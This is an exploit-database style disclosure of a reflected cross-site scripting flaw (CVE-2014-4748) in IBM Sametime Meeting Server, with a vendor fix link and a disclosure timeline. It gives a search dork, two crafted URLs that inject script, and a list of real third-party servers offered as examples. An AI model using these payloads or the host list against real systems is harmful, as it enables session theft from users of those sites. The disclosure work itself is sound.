# Exploit Title:   IBM Sametime Meet Server 8.5 Reflect Cross Site Script
# Google Dork:     intitle:"Meeting Center - IBM Lotus Sametime"
# Date:     11/08/2014
# CVSS Score:     https://nvd.nist.gov/cvss.cfm?calculator&version=2&vector=AV:N/AC:M/Au:N/C:P/I:N/A:N%29
# CVE-ID:     https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4748
# OSVDB-ID:     https://osvdb.org/109444
#
# Author:     Adriano Marcio Monteiro
# E-mail:     adrianomarciomonteiro@gmail.com
# Blog:     https://www.brazucasecurity.com.br
#   
# Vendor:     https://www.ibm.com
# Software:     https://www.ibm.com/sametime
# Version:     8.5.1
# Advisory:     https://www-304.ibm.com/support/docview.wss?uid=swg21679221
#   
# Test Type:     Black Box
# Tested on:     Windows 7 Enterprise SP1 x86 pt-br, Mozilla Firefox 30.0 /Internet Explorer 10 / Google Chrome Versão 33.0.1750.146 m



Table of  Contents

[0x00] The Vulnerability
[0x01] Exploit Description
[0x02] PoC - Proof of Concept
[0x03] Correction or Workaround
[0x04] Timeline
[0x05] Published
[0x06] References
[0x07] Bibliography



[0x00] The Vulnerabilty

  Reflected Cross Site Scripting (XSS)
  Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it. An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page



[0x01] Description

  IBM Sametime Classic Meeting Server is vulnerable to reflected cross-site scripting, caused by improper validation of user supplied input. A remote attacker could exploit this vulnerability using a specially crafted URL to execute a script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials.



[0x02] PoC - Proof of Concept
  For exploit this vulnerability you only need to submit the crafted URL to victim.

  https://sametime02.myserver.com.br/stconf.nsf/WebAttendFrameset?OpenAgent&view=Attend&docID=$DOCID$&meetingID=$MEETID$&join_type=mrc&subject=</title><script>alert('I am a XSS')</script><!--&userLang=pt_BR

  https://sametime02.myserver.com.br/stconf.nsf/vwCalendar?OpenView&Grid="><script>alert(' I am a XSS')</script><!--&Date=2014-07-28

  Examples:

      https://sametime.eletrosul.gov.br/stconf.nsf/frmConference?OpenForm
      https://sametime.sp.gov.br/stconf.nsf/frmConference?OpenForm
      https://sametime.grude.ufmg.br/stconf.nsf/frmConference?OpenForm
      https://sametime.schahin.com.br/stconf.nsf/frmConference?OpenForm
      https://sametime.c-pack.com.br/stconf.nsf/frmConference?OpenForm
      https://www.azi.com.br/stconf.nsf/frmConference?OpenForm
      https://aquila.sealinc.org/stconf.nsf/frmConference?Openform
      https://noteschat.sola.kommune.no/stconf.nsf/frmConference?Openform
      https://comware.net/stconf.nsf/frmConference?Openform
      https://236ws.dpteruel.es/stconf.nsf/frmConference?OpenForm
      https://correoweb.gruposanjose.biz/stconf.nsf/frmConference?Openform
      https://noteschat.sola.kommune.no/stconf.nsf/frmConference?Openform
      https://mail.dba.uz/stconf.nsf/frmConference?Openform



[0x03] Correction or Workaround

  Apply the procedures described in the follow link:
  https://www-01.ibm.com/support/docview.wss?uid=swg21679454



[0x04] Timeline

  18/07/2014 - Vulnerabilities discovered
  19/07/2014 - Vulnerabilities reporteds to IBM PSIRT Team
  23/07/2014 - Advisory and troubleshooting fix published



[0x05] Published

  https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-4748
  https://www.securityfocus.com/bid/68841



[0x06] References

  OWASP - Cross-site Scripting (XSS)
  https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

  CWE-264: Permissions, Privileges, and Access Controls
  https://cwe.mitre.org/data/definitions/79.html



[0x07] Bibliography

  https://www-10.lotus.com/ldd/stwiki.nsf/xpDocViewer.xsp?lookupName=Administering+Sametime+Standard+8.5.2+documentation#action=openDocument&res_title=Sametime_Meeting_Server_st852&content=pdcontent


[end]